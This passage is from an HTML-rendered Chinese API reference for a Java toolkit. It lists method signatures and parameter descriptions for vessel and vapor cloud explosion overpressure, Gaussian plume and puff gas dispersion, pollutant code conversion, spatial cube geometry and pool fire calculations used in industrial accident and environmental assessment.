vesselExplosion(double p,</span><br><span class="line">                                                 double v,</span><br><span class="line">                                                 double lng,</span><br><span class="line">                                                 double lat,</span><br><span class="line">                                                 double height,</span><br><span class="line">                                                 double distance,</span><br><span class="line">                                                 double extendDistance)</span><br><span class="line">容器爆炸模型计算</span><br><span class="line">参数:</span><br><span class="line">p - 容器内气体的绝对压力（MPa）</span><br><span class="line">v - V为容器的容积（m3）</span><br><span class="line">lng - 起火中心点经度</span><br><span class="line">lat - 起火中心点纬度</span><br><span class="line">height - 起火中心点高度</span><br><span class="line">distance - 扩散距离</span><br><span class="line">extendDistance - 子扩散距离用于渲染</span><br><span class="line">返回:</span><br><span class="line">空间点中冲击波的超压值</span><br></pre></td></tr></table></figure><h4 id="蒸汽云爆炸模型-vaporCloudExplosion">蒸汽云爆炸模型 vaporCloudExplosion</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;SpacePoint&gt; vaporCloudExplosion(java.lang.Double qm,</span><br><span class="line">                                                     java.lang.Double cp,</span><br><span class="line">                                                     java.lang.Double tt,</span><br><span class="line">                                                     java.lang.Double tb,</span><br><span class="line">                                                     java.lang.Double hv,</span><br><span class="line">                                                     java.lang.Double a1,</span><br><span class="line">                                                     java.lang.Double t0,</span><br><span class="line">                                                     java.lang.Double h,</span><br><span class="line">                                                     java.lang.Double t,</span><br><span class="line">                                                     java.lang.Double u,</span><br><span class="line">                                                     java.lang.Double r,</span><br><span class="line">                                                     java.lang.Double m,</span><br><span class="line">                                                     java.lang.Double t1,</span><br><span class="line">                                                     java.lang.Double t2,</span><br><span class="line">                                                     java.lang.Double t3,</span><br><span class="line">                                                     double q,</span><br><span class="line">                                                     double lng,</span><br><span class="line">                                                     double lat,</span><br><span class="line">                                                     double height,</span><br><span class="line">                                                     double distance,</span><br><span class="line">                                                     double extendDistance)</span><br><span class="line">蒸汽云爆炸模型</span><br><span class="line">参数:</span><br><span class="line">qm - 物质泄漏速率 kg/s</span><br><span class="line">cp - 泄漏液体的定压热容 kJ/(kg.K)</span><br><span class="line">tt - 储存温度，单位为K</span><br><span class="line">tb - 泄漏液体的沸点，单位为K</span><br><span class="line">hv - 泄漏液体的蒸发热，单位为J/kg</span><br><span class="line">a1 - 液池面积 m2</span><br><span class="line">t0 - 环境温度 K</span><br><span class="line">h - 液体蒸发热 J/kg</span><br><span class="line">t - 蒸发时间 s</span><br><span class="line">u - 风速 m/s</span><br><span class="line">r - 液池半径 m</span><br><span class="line">m - 泄漏物质分子量</span><br><span class="line">t1 - 闪蒸蒸发时间 单位为s 为NUll时不计入总气云质量</span><br><span class="line">t2 - 热量蒸发时间，单位为s 为NUll时不计入总气云质量</span><br><span class="line">t3 - 从液体泄漏 到液体全部处理完毕的时间，单位为s 为NUll时不计入总气云质量</span><br><span class="line">q - 气云燃烧热 J.kg-1</span><br><span class="line">lng - 起火中心点经度</span><br><span class="line">lat - 起火中心点纬度</span><br><span class="line">height - 起火中心点高度</span><br><span class="line">distance - 扩散距离</span><br><span class="line">extendDistance - 子扩散距离用于渲染</span><br><span class="line">返回:</span><br><span class="line">空间点中无约束蒸气云爆炸冲击波正相最大超压 Kpa</span><br></pre></td></tr></table></figure><h4 id="高斯烟团计算模型-gaussSmokeRegiment">高斯烟团计算模型 gaussSmokeRegiment</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;SpacePoint&gt; gaussSmokeRegiment(double ws,</span><br><span class="line">                                                    double t,</span><br><span class="line">                                                    double q,</span><br><span class="line">                                                    double angle,</span><br><span class="line">                                                    double lng,</span><br><span class="line">                                                    double lat,</span><br><span class="line">                                                    double height,</span><br><span class="line">                                                    double distance,</span><br><span class="line">                                                    double step)</span><br><span class="line">高斯烟团计算模型</span><br><span class="line">参数:</span><br><span class="line">ws - 平均风速 m/s</span><br><span class="line">t - 扩散时间 s</span><br><span class="line">q - 瞬时排放的物料质量 kg</span><br><span class="line">angle - 风向 度</span><br><span class="line">lng - 起火中心点经度</span><br><span class="line">lat - 起火中心点纬度</span><br><span class="line">height - 起火中心点高度</span><br><span class="line">distance - 扩散距离</span><br><span class="line">step - 步长</span><br><span class="line">返回:</span><br><span class="line">空间点中气体浓度</span><br></pre></td></tr></table></figure><h4 id="带入扩散系数计算高斯烟羽模型-gaussPlumeWithFactor">带入扩散系数计算高斯烟羽模型 gaussPlumeWithFactor</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;SpacePoint&gt; gaussPlumeWithFactor(double ws,</span><br><span class="line">                                                      double q,</span><br><span class="line">                                                      java.lang.Integer l,</span><br><span class="line">                                                      double angle,</span><br><span class="line">                                                      double h,</span><br><span class="line">                                                      double lng,</span><br><span class="line">                                                      double lat,</span><br><span class="line">                                                      double height,</span><br><span class="line">                                                      double distance,</span><br><span class="line">                                                      double step)</span><br><span class="line">带入扩散系数计算高斯烟羽模型</span><br><span class="line">参数:</span><br><span class="line">ws - 平均风速 m/s 只考虑横向风</span><br><span class="line">q - 连续泄露的质量流量 kg/s</span><br><span class="line">l - 太阳辐射等级</span><br><span class="line">h - 泄漏源源高</span><br><span class="line">angle - 风向角度</span><br><span class="line">lng - 起火中心点经度</span><br><span class="line">lat - 起火中心点纬度</span><br><span class="line">height - 起火中心点高度</span><br><span class="line">distance - 扩散距离</span><br><span class="line">step - 步长</span><br><span class="line">返回:</span><br><span class="line">空间点中气体浓度</span><br></pre></td></tr></table></figure><h4 id="不带入扩散系数计算高斯烟羽模型-gaussPlumeWithoutFactor">不带入扩散系数计算高斯烟羽模型 gaussPlumeWithoutFactor</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;SpacePoint&gt; gaussPlumeWithoutFactor(double q,</span><br><span class="line">                                                         double u,</span><br><span class="line">                                                         double angle,</span><br><span class="line">                                                         double h,</span><br><span class="line">                                                         double lng,</span><br><span class="line">                                                         double lat,</span><br><span class="line">                                                         double distance,</span><br><span class="line">                                                         double step)</span><br><span class="line">不带入扩散系数计算高斯烟羽模型</span><br><span class="line">参数:</span><br><span class="line">q - 物料连续泄漏的质量流量，单位kg/s</span><br><span class="line">u - 平均风速m/s</span><br><span class="line">h - 泄露源源高</span><br><span class="line">angle - 风向角度</span><br><span class="line">lng - 起火中心点经度</span><br><span class="line">lat - 起火中心点纬度</span><br><span class="line">distance - 扩散距离</span><br><span class="line">step - 步长</span><br><span class="line">返回:</span><br><span class="line">空间点中气体浓度</span><br></pre></td></tr></table></figure><h4 id="不带入扩散系数计算高斯烟羽模型-gaussPlumeWithoutFactor-2">不带入扩散系数计算高斯烟羽模型 gaussPlumeWithoutFactor</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.List&lt;java.util.Map&lt;java.lang.String,java.lang.Object&gt;&gt; gaussPlumeWithoutFactor(java.lang.Double q,</span><br><span class="line">                                                                                                java.lang.Double ce,</span><br><span class="line">                                                                                                java.lang.Double se,</span><br><span class="line">                                                                                                java.lang.Double h,</span><br><span class="line">                                                                                                java.lang.Double[] ue,</span><br><span class="line">                                                                                                java.lang.Integer step,</span><br><span class="line">                                                                                                java.lang.Double z)</span><br><span class="line">不带入扩散系数计算高斯烟羽模型</span><br><span class="line">参数:</span><br><span class="line">q - 物料连续泄漏的质量流量，单位kg/s</span><br><span class="line">ce - 平均风速m/s</span><br><span class="line">h - 泄露源源高</span><br><span class="line">se - 风向角度</span><br><span class="line">ue - 扩散原点偏移后经纬度坐标</span><br><span class="line">step - 步长</span><br><span class="line">z - 水平高度</span><br><span class="line">返回:</span><br><span class="line">空间点中气体浓度</span><br></pre></td></tr></table></figure><h4 id="烟羽扩散-calSpread">烟羽扩散 calSpread</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.lang.Integer calSpread(double q,</span><br><span class="line">                                   java.lang.Double[] ue,</span><br><span class="line">                                   java.lang.Double[] originMercator,</span><br><span class="line">                                   double x,</span><br><span class="line">                                   double y,</span><br><span class="line">                                   double ce,</span><br><span class="line">                                   java.lang.Double se,</span><br><span class="line">                                   int s,</span><br><span class="line">                                   double h)</span><br><span class="line">参数:</span><br><span class="line">q - 物料连续泄漏的质量流量，单位kg/s</span><br><span class="line">ue - 扩散原点经纬度坐标</span><br><span class="line">originMercator - 扩散原点墨卡托坐标</span><br><span class="line">x - x方向增值</span><br><span class="line">y - y方向增值</span><br><span class="line">ce - 风速</span><br><span class="line">se - 风向角</span><br><span class="line">s - 時間</span><br></pre></td></tr></table></figure><h4 id="烟羽扩散-calculate2">烟羽扩散 calculate2</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.lang.Integer calculate2(java.lang.Double Q,</span><br><span class="line">                                    java.lang.Double x,</span><br><span class="line">                                    java.lang.Double y,</span><br><span class="line">                                    java.lang.Double z,</span><br><span class="line">                                    java.lang.Double h,</span><br><span class="line">                                    java.lang.Double u,</span><br><span class="line">                                    java.lang.Double t)</span><br><span class="line">烟羽扩散</span><br><span class="line">参数:</span><br><span class="line">Q - 气载污染物源强，即释放率（mg/s）</span><br><span class="line">x - 下风向距离（m）</span><br><span class="line">y - 横截风向距离（m）</span><br><span class="line">z - 距水平的高度（m）</span><br><span class="line">h - 排口高度</span><br><span class="line">u - 平均风速m/s</span><br><span class="line">t - 时间s</span><br><span class="line">返回:</span><br><span class="line">等级</span><br></pre></td></tr></table></figure><h4 id="不带入扩散系数计算高斯烟羽模型-calLevel">不带入扩散系数计算高斯烟羽模型 calLevel</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public int calLevel(double aa)</span><br><span class="line">计算因子level</span><br><span class="line">参数:</span><br><span class="line">aa - 因子浓度值</span><br><span class="line">返回:</span><br><span class="line">gaussPlumeWithoutFactorInCesium</span><br><span class="line">public java.util.Set&lt;java.util.Map&lt;java.lang.String,java.lang.Object&gt;&gt; gaussPlumeWithoutFactorInCesium(double q,</span><br><span class="line">                                                                                                       double u,</span><br><span class="line">                                                                                                       double angle,</span><br><span class="line">                                                                                                       double h,</span><br><span class="line">                                                                                                       double lng,</span><br><span class="line">                                                                                                       double lat,</span><br><span class="line">                                                                                                       int t,</span><br><span class="line">                                                                                                       double xStep,</span><br><span class="line">                                                                                                       double yStep,</span><br><span class="line">                                                                                                       double zStep,</span><br><span class="line">                                                                                                       double xLimit,</span><br><span class="line">                                                                                                       double yLimit,</span><br><span class="line">                                                                                                       double zLimit)</span><br><span class="line">不带入扩散系数计算高斯烟羽模型</span><br><span class="line">参数:</span><br><span class="line">q - 物料连续泄漏的质量流量，单位kg/s</span><br><span class="line">u - 平均风速m/s</span><br><span class="line">h - 泄露源源高</span><br><span class="line">angle - 风向角度</span><br><span class="line">lng - 起火中心点经度</span><br><span class="line">lat - 起火中心点纬度</span><br><span class="line">返回:</span><br><span class="line">空间点中气体浓度</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="污染因子操作工具-PollutantUtil">污染因子操作工具 PollutantUtil</h3><h4 id="获取气体污染因子的信息-gasInfo">获取气体污染因子的信息 gasInfo</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public PollutionGas gasInfo(java.lang.String gasCode)</span><br><span class="line">获取气体污染因子的信息</span><br><span class="line">参数:</span><br><span class="line">gasCode - 气体污染因子编码</span><br><span class="line">返回:</span><br><span class="line">该废气的详细信息</span><br></pre></td></tr></table></figure><h4 id="获取水体污染因子信息-waterInfo">获取水体污染因子信息 waterInfo</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public PollutionWater waterInfo(java.lang.String waterCode)</span><br><span class="line">获取水体污染因子信息</span><br><span class="line">参数:</span><br><span class="line">waterCode - 废水污染因子编码</span><br><span class="line">返回:</span><br><span class="line">该废水的详细信息</span><br></pre></td></tr></table></figure><h4 id="hj2005国标转为hj2017国标-oldCodeCast">hj2005国标转为hj2017国标 oldCodeCast</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.lang.String oldCodeCast(java.lang.String oldCode)</span><br><span class="line">hj2005国标转为hj2017国标</span><br><span class="line">参数:</span><br><span class="line">oldCode - 旧国标编码hj212-2005</span><br><span class="line">返回:</span><br><span class="line">新国标编码hj212-2017</span><br></pre></td></tr></table></figure><h3 id="空间几何工具类-SpaceGeometryUtil">空间几何工具类  SpaceGeometryUtil</h3><h4 id="计算立方体顶点坐标-cubePeak">计算立方体顶点坐标 cubePeak</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;Point3D&gt; cubePeak(Point3D point3D,</span><br><span class="line">                                       double distance)</span><br><span class="line">计算立方体顶点坐标</span><br><span class="line">参数:</span><br><span class="line">point3D - 立方体中心点的坐标</span><br><span class="line">distance - 立方体边长/2</span><br><span class="line">返回:</span><br><span class="line">立方体8个顶点坐标</span><br></pre></td></tr></table></figure><h4 id="计算立方体6个面-cubeFace">计算立方体6个面 cubeFace</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;java.util.Set&lt;Point3D&gt;&gt; cubeFace(Point3D point3D,</span><br><span class="line">                                                      double distance)</span><br><span class="line">计算立方体6个面</span><br><span class="line">参数:</span><br><span class="line">point3D - 立方体中心点坐标</span><br><span class="line">distance - 立方体的边长/2</span><br><span class="line">返回:</span><br><span class="line">立方体的8个面</span><br></pre></td></tr></table></figure><h4 id="计算空间立方体延伸距离保证数据充实-batchPeak">计算空间立方体延伸距离保证数据充实 batchPeak</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;Point3D&gt; batchPeak(Point3D point3D,</span><br><span class="line">                                        double distance,</span><br><span class="line">                                        double extendDis)</span><br><span class="line">计算空间立方体延伸距离保证数据充实</span><br><span class="line">参数:</span><br><span class="line">point3D - 立方体中心点坐标</span><br><span class="line">distance - 立方体的边长/2</span><br><span class="line">extendDis - 延伸的距离</span><br><span class="line">返回:</span><br><span class="line">空间立方体延伸距离</span><br></pre></td></tr></table></figure><h4 id="earthCubePeak">earthCubePeak</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;Point3D&gt; earthCubePeak(Point3D point3D,</span><br><span class="line">                                            double distance)</span><br><span class="line">计算地球中立方体顶点坐标</span><br><span class="line">参数:</span><br><span class="line">point3D - 立方体中心点的坐标</span><br><span class="line">distance - 立方体边长/2</span><br><span class="line">返回:</span><br><span class="line">立方体8个顶点坐标</span><br></pre></td></tr></table></figure><h4 id="计算地球中立方体顶点坐标-earthBatchPeak">计算地球中立方体顶点坐标 earthBatchPeak</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;Point3D&gt; earthBatchPeak(Point3D point3D,</span><br><span class="line">                                             double distance,</span><br><span class="line">                                             double extendDis)</span><br><span class="line">计算地球中立方体顶点坐标</span><br><span class="line">参数:</span><br><span class="line">point3D - 立方体中心点的坐标</span><br><span class="line">distance - 立方体边长/2</span><br><span class="line">extendDis - 辅助计算空间点的距离</span><br><span class="line">返回:</span><br><span class="line">地球中立方体8个顶点坐标</span><br></pre></td></tr></table></figure><h4 id="包含风向计算地球中立方体顶点坐标-earthCubePeakDetail">包含风向计算地球中立方体顶点坐标 earthCubePeakDetail</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;EarthPoint3D&gt; earthCubePeakDetail(Point3D point3D,</span><br><span class="line">                                                       double distance,</span><br><span class="line">                                                       double angle)</span><br><span class="line">包含风向计算地球中立方体顶点坐标</span><br><span class="line">参数:</span><br><span class="line">point3D - 立方体中心点的坐标</span><br><span class="line">distance - 立方体边长/2</span><br><span class="line">angle - 风向角度</span><br><span class="line">返回:</span><br><span class="line">立方体8个顶点坐标</span><br></pre></td></tr></table></figure><h4 id="计算地球中立方体顶点坐标-earthBatchPeakDetail">计算地球中立方体顶点坐标 earthBatchPeakDetail</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;EarthPoint3D&gt; earthBatchPeakDetail(Point3D point3D,</span><br><span class="line">                                                        double distance,</span><br><span class="line">                                                        double extendDis,</span><br><span class="line">                                                        double angle)</span><br><span class="line">计算地球中立方体顶点坐标</span><br><span class="line">参数:</span><br><span class="line">point3D - 立方体中心点的坐标</span><br><span class="line">distance - 立方体边长/2</span><br><span class="line">extendDis - 辅助距离使数据充实</span><br><span class="line">angle - 风向角度</span><br><span class="line">返回:</span><br><span class="line">地球中立方体8个顶点坐标</span><br></pre></td></tr></table></figure><h4 id="计算地球中立方体顶点坐标-earthBatchPeakDetail-2">计算地球中立方体顶点坐标 earthBatchPeakDetail</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;EarthPoint3D&gt; earthBatchPeakDetail(Point3D point3D,</span><br><span class="line">                                                        double distance,</span><br><span class="line">                                                        double extendDis)</span><br><span class="line">计算地球中立方体顶点坐标</span><br><span class="line">参数:</span><br><span class="line">point3D - 立方体中心点的坐标</span><br><span class="line">distance - 立方体边长/2</span><br><span class="line">extendDis - 辅助距离使数据充实</span><br><span class="line">返回:</span><br><span class="line">地球中立方体8个顶点坐标</span><br></pre></td></tr></table></figure><h4 id="包含风向计算地球中立方体顶点坐标（顺风向）-EarthBatchPeakDetailToWd">包含风向计算地球中立方体顶点坐标（顺风向） EarthBatchPeakDetailToWd</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;EarthPoint3D&gt; EarthBatchPeakDetailToWd(Point3D point3D,</span><br><span class="line">                                                            double distance,</span><br><span class="line">                                                            double angle,</span><br><span class="line">                                                            double step)</span><br><span class="line">包含风向计算地球中立方体顶点坐标（顺风向）</span><br><span class="line">参数:</span><br><span class="line">point3D - 立方体中心点的坐标</span><br><span class="line">distance - 立方体边长/2</span><br><span class="line">angle - 风向角度</span><br><span class="line">step - 平均风的步长</span><br><span class="line">返回:</span><br><span class="line">立方体多个顶点坐标</span><br></pre></td></tr></table></figure><h4 id="不包含风向计算地球中立方体顶点坐标-totalEarthBatchPeakDetailWithoutWd">不包含风向计算地球中立方体顶点坐标 totalEarthBatchPeakDetailWithoutWd</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;EarthPoint3D&gt; totalEarthBatchPeakDetailWithoutWd(Point3D point3D,</span><br><span class="line">                                                                      double distance,</span><br><span class="line">                                                                      double angle,</span><br><span class="line">                                                                      double step)</span><br><span class="line">不包含风向计算地球中立方体顶点坐标</span><br><span class="line">参数:</span><br><span class="line">point3D - 立方体中心点的坐标</span><br><span class="line">distance - 立方体边长/2</span><br><span class="line">angle - 风向角度</span><br><span class="line">step - 平均风的步长</span><br><span class="line">返回:</span><br><span class="line">立方体多个顶点坐标</span><br></pre></td></tr></table></figure><h4 id="计算一个中心点之外所有点位-takeAllPoints">计算一个中心点之外所有点位 takeAllPoints</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;Point3D&gt; takeAllPoints(double xStep,</span><br><span class="line">                                            double yStep,</span><br><span class="line">                                            double zStep,</span><br><span class="line">                                            double xLimit,</span><br><span class="line">                                            double yLimit,</span><br><span class="line">                                            double zLimit,</span><br><span class="line">                                            boolean xCount,</span><br><span class="line">                                            boolean yCount,</span><br><span class="line">                                            boolean zCount)</span><br><span class="line">计算一个中心点之外所有点位</span><br><span class="line">参数:</span><br><span class="line">xStep - x方向步长</span><br><span class="line">yStep - y方向步长</span><br><span class="line">zStep - z方向步长</span><br><span class="line">xLimit - x向外延申得距离</span><br><span class="line">yLimit - y向外延申得距离</span><br><span class="line">zLimit - z向外延申得距离</span><br><span class="line">xCount - 是否计算x负方向</span><br><span class="line">yCount - 是否计算y负方向</span><br><span class="line">zCount - 是否计算z负方向</span><br><span class="line">返回:</span><br><span class="line">中心点外所有点位列表</span><br></pre></td></tr></table></figure><h3 id="池火灾模型计算-PoolFireUtil">池火灾模型计算 PoolFireUtil</h3><h4 id="池火灾模型计算-mudan">池火灾模型计算 mudan</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.lang.Double mudan(double s,</span><br><span class="line">                              double h,</span><br><span class="line">                              double x,</span><br><span class="line">                              double n,</span><br><span class="line">                              double m,</span><br><span class="line">          